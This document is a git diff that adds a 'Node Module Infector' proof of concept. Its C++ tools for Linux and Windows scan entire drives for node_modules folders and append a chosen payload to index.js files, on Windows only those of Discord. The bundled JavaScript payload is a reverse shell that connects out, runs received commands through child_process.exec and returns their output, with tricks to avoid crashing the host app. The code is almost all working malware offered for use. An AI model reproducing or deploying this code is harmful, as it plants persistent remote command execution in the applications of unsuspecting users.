diff --git a/Node Module Infector/Cross-platform demo/README.md b/Node Module Infector/Cross-platform demo/README.md new file mode 100644 index 0000000..099f150 --- /dev/null +++ b/Node Module Infector/Cross-platform demo/README.md @@ -0,0 +1,16 @@ + +# Node Modules Infector + +## This is a poc of how you can infect node modules and execute code every time the application that uses them start. + +#### Modules are the blocks of encapsulated code that communicates with an external application on the basis of their related functionality. Modules can be a single file or a collection of multiples files/folders. Node modules can be found in almost every electron application such as ( discord, nzxt, slack, signal, vscode, etc.). + +##### I have created a reverse tcp payload just for the poc but you can inject what ever you want as long as its nodejs code. + + + +### NZXT POC +![nzxtPOC](./img/nzxtPoc.gif) + +### Discord POC +![discordPOC](./img/discordPOC.gif) diff --git a/Node Module Infector/Cross-platform demo/img/discordPOC.gif b/Node Module Infector/Cross-platform demo/img/discordPOC.gif new file mode 100644 index 0000000..bbb6c85 Binary files /dev/null and b/Node Module Infector/Cross-platform demo/img/discordPOC.gif differ diff --git a/Node Module Infector/Cross-platform demo/img/nzxtPoc.gif b/Node Module Infector/Cross-platform demo/img/nzxtPoc.gif new file mode 100644 index 0000000..bc87366 Binary files /dev/null and b/Node Module Infector/Cross-platform demo/img/nzxtPoc.gif differ diff --git a/Node Module Infector/Cross-platform demo/linux/main.cpp b/Node Module Infector/Cross-platform demo/linux/main.cpp new file mode 100644 index 0000000..bc0fba0 --- /dev/null +++ b/Node Module Infector/Cross-platform demo/linux/main.cpp @@ -0,0 +1,155 @@ +#include +#include +#include +#include + +int main(int argc,char* argv[]) { + + std::string payloadData; + + if (argc < 2) + { + std::cout << "Add payload file path" << std::endl; + return EXIT_FAILURE; + } + else { + std::filesystem::path payloadPath(argv[1]); + + if (!std::filesystem::exists(payloadPath)) + { + std::cout << "File does not exists." << std::endl; + return EXIT_FAILURE; + } + else + { + std::ifstream f(payloadPath, std::ios::in); + + const auto sz = std::filesystem::file_size(payloadPath); + + std::string payload(sz, '\0'); + + f.read(payload.data(), sz); + + payloadData = payload; + } + } + + + // vector to save the paths to write + std::vector nodeModulePath; + + std::vector indexPaths; + + std::filesystem::path path("/"); + + // try to find if drive is alive + try + { + std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied); + } + catch (...) + {} + + // init iterator + auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied); + auto end_iter = std::filesystem::end(iter); + auto ec = std::error_code(); + + for (; iter != end_iter; iter.increment(ec)) + { + if (ec) + { + std::cout << ec.message() << std::endl; + continue; + } + try + { + + // add path to vector + if (iter->path().filename() == "node_modules") + { + nodeModulePath.push_back(iter->path()); + iter.disable_recursion_pending(); + } + } + catch (const std::exception& exc) + { + std::cerr << exc.what(); + continue; + } + } + + for (std::vector::const_iterator i = nodeModulePath.begin(); i != nodeModulePath.end(); ++i) + { + std::filesystem::path path = *i; + + // check if can acces that dir + try + { + std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied); + } + catch (...) + { + continue; + } + + + auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied); + auto end_iter = std::filesystem::end(iter); + auto ec = std::error_code(); + + for (; iter != end_iter; iter.increment(ec)) + { + if (ec) + { + std::cout << ec.message() << std::endl; + continue; + } + + try + { + // add this check if you want to target a specific app + // if (iter->path().string().find("discord") != std::string::npos) { + + if (iter->path().filename() == "index.js") + { + indexPaths.push_back(iter->path()); + iter.disable_recursion_pending(); + } + // } + + + } + catch (...) { + + continue; + } + + + } + + } + + + for (std::vector::const_iterator i = indexPaths.begin(); i != indexPaths.end(); ++i) + { + std::filesystem::path path = *i; + + if (payloadData.length()>1) { + + std::ofstream out; + + out.open(path, std::ios::out | std::ios::app| std::ios::binary); + + + out << "\n" << payloadData.substr(0,payloadData.size()-2); + + out.close(); + + } + } + + + + return EXIT_SUCCESS; +} diff --git a/Node Module Infector/Cross-platform demo/payloads/linux/discordReverseShell.js b/Node Module Infector/Cross-platform demo/payloads/linux/discordReverseShell.js new file mode 100644 index 0000000..fda20e1 --- /dev/null +++ b/Node Module Infector/Cross-platform demo/payloads/linux/discordReverseShell.js @@ -0,0 +1,61 @@ + + +var XXX123fs = require("fs") +var XXX123net = require("net") +var XXX123path = require("path") +var XXX123os = require("os") +var XXX123proc = require("process") + + +var XXX123pid = String(XXX123proc.pid) + + +if (!XXX123fs.existsSync(XXX123path.join(XXX123os.homedir(),`.${XXX123pid}.lock`))){ + + //create lock file +XXX123fs.writeFile(XXX123path.join(XXX123os.homedir(),`.${XXX123pid}.lock`),"", (err) => { + if (err) { + console.log(err) + } + }); + + (function(){ + var client = new XXX123net.Socket(); + client.connect(4466, "127.0.0.1") + + let received = "" + client.on("data", data => { + received = data + try{ + var XXX123exec = require("child_process").exec; + + XXX123exec(`${received}`, (error, stdout, stderr) => { + if (error) { + client.write(stderr) + return; + } + if (stderr) { + client.write(stdout) + return; + } + client.write(stdout) + }); + + } + catch(ex){ + console.log(ex) + } + + }) + client.on("close", () => { + console.log("connection closed") + }) + + return /a/; // Prevents the Node.js application form crashing + })(); +} + + + + +////// \ No newline at end of file diff --git a/Node Module Infector/Cross-platform demo/payloads/windows/discordReverseShell.js b/Node Module Infector/Cross-platform demo/payloads/windows/discordReverseShell.js new file mode 100644 index 0000000..fda20e1 --- /dev/null +++ b/Node Module Infector/Cross-platform demo/payloads/windows/discordReverseShell.js @@ -0,0 +1,61 @@ + + +var XXX123fs = require("fs") +var XXX123net = require("net") +var XXX123path = require("path") +var XXX123os = require("os") +var XXX123proc = require("process") + + +var XXX123pid = String(XXX123proc.pid) + + +if (!XXX123fs.existsSync(XXX123path.join(XXX123os.homedir(),`.${XXX123pid}.lock`))){ + + //create lock file +XXX123fs.writeFile(XXX123path.join(XXX123os.homedir(),`.${XXX123pid}.lock`),"", (err) => { + if (err) { + console.log(err) + } + }); + + (function(){ + var client = new XXX123net.Socket(); + client.connect(4466, "127.0.0.1") + + let received = "" + client.on("data", data => { + received = data + try{ + var XXX123exec = require("child_process").exec; + + XXX123exec(`${received}`, (error, stdout, stderr) => { + if (error) { + client.write(stderr) + return; + } + if (stderr) { + client.write(stdout) + return; + } + client.write(stdout) + }); + + } + catch(ex){ + console.log(ex) + } + + }) + client.on("close", () => { + console.log("connection closed") + }) + + return /a/; // Prevents the Node.js application form crashing + })(); +} + + + + +////// \ No newline at end of file diff --git a/Node Module Infector/Cross-platform demo/windows/enum.cpp b/Node Module Infector/Cross-platform demo/windows/enum.cpp new file mode 100644 index 0000000..8bbdc97 --- /dev/null +++ b/Node Module Infector/Cross-platform demo/windows/enum.cpp @@ -0,0 +1,17 @@ +#include +#include +#include + + +std::vector getListOfDrives() { + std::vector arrayOfDrives; + char* szDrives = new char[MAX_PATH](); + + if (GetLogicalDriveStringsA(MAX_PATH, szDrives)); + + for (int i = 0; i < 100; i += 4) + if (szDrives[i] != (char)0) + arrayOfDrives.push_back(std::string{ szDrives[i],szDrives[i + 1],szDrives[i + 2] }); + delete[] szDrives; + return arrayOfDrives; +} \ No newline at end of file diff --git a/Node Module Infector/Cross-platform demo/windows/enum.h b/Node Module Infector/Cross-platform demo/windows/enum.h new file mode 100644 index 0000000..9f88ab7 --- /dev/null +++ b/Node Module Infector/Cross-platform demo/windows/enum.h @@ -0,0 +1,4 @@ +#include +#include + +std::vector getListOfDrives(); \ No newline at end of file diff --git a/Node Module Infector/Cross-platform demo/windows/main.cpp b/Node Module Infector/Cross-platform demo/windows/main.cpp new file mode 100644 index 0000000..f3c092a --- /dev/null +++ b/Node Module Infector/Cross-platform demo/windows/main.cpp @@ -0,0 +1,170 @@ +#include +#include +#include +#include +#include + +#include "enum.h" + +int main(int argc, const char* argv[]) +{ + + std::string payloadData; + + if (argc < 2) + { + std::cout << "Add payload file path" << std::endl; + return EXIT_FAILURE; + } + else { + std::filesystem::path payloadPath(argv[1]); + + if (!std::filesystem::exists(payloadPath)) + { + std::cout << "File does not exists." << std::endl; + return EXIT_FAILURE; + } + else + { + std::ifstream f(payloadPath, std::ios::in); + + const auto sz = std::filesystem::file_size(payloadPath); + + std::string payload(sz, '\0'); + + f.read(payload.data(), sz); + + payloadData = payload; + } + + } + + // vector to save the paths to write + std::vector nodeModulePath; + + std::vector indexPaths; + + // vector of drives + std::vector drives = getListOfDrives(); + + // for each drive + for (std::vector::const_iterator i = drives.begin(); i != drives.end(); ++i) + { + std::string drive = *i; + + std::filesystem::path path(drive.c_str()); + + // try to find if drive is alive + try + { + std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied); + } + catch (...) + { + continue; + } + + // init iterator + auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied); + auto end_iter = std::filesystem::end(iter); + auto ec = std::error_code(); + + for (; iter != end_iter; iter.increment(ec)) + { + if (ec) + { + std::cout << ec.message() << std::endl; + continue; + } + try + { + + // add path to vector + if (iter->path().filename() == "node_modules") + { + nodeModulePath.push_back(iter->path()); + iter.disable_recursion_pending(); + } + } + catch (const std::exception& exc) + { + std::cerr << exc.what(); + continue; + } + } + } + + for (std::vector::const_iterator i = nodeModulePath.begin(); i != nodeModulePath.end(); ++i) + { + std::filesystem::path path = *i; + + // check if can acces that dir + try + { + std::filesystem::recursive_directory_iterator iterator(path, std::filesystem::directory_options::skip_permission_denied); + } + catch (...) + { + continue; + } + + + auto iter = std::filesystem::recursive_directory_iterator(path, std::filesystem::directory_options::skip_permission_denied); + auto end_iter = std::filesystem::end(iter); + auto ec = std::error_code(); + + for (; iter != end_iter; iter.increment(ec)) + { + if (ec) + { + std::cout << ec.message() << std::endl; + continue; + } + + try + { + if (iter->path().string().find("discord") != std::string::npos) { + + if (iter->path().filename() == "index.js") + { + indexPaths.push_back(iter->path()); + iter.disable_recursion_pending(); + } + } + + + } + catch (...) { + + continue; + } + + + } + + } + + + for (std::vector::const_iterator i = indexPaths.begin(); i != indexPaths.end(); ++i) + { + std::filesystem::path path = *i; + + if (payloadData.length()>1) { + + + std::ofstream out; + + + out.open(path, std::ios::out | std::ios::app| std::ios::binary); + + out << "\r\n" << payloadData.substr(0,payloadData.size()-2); + + + out.close(); + + } + } + + return EXIT_SUCCESS; + +} \ No newline at end of file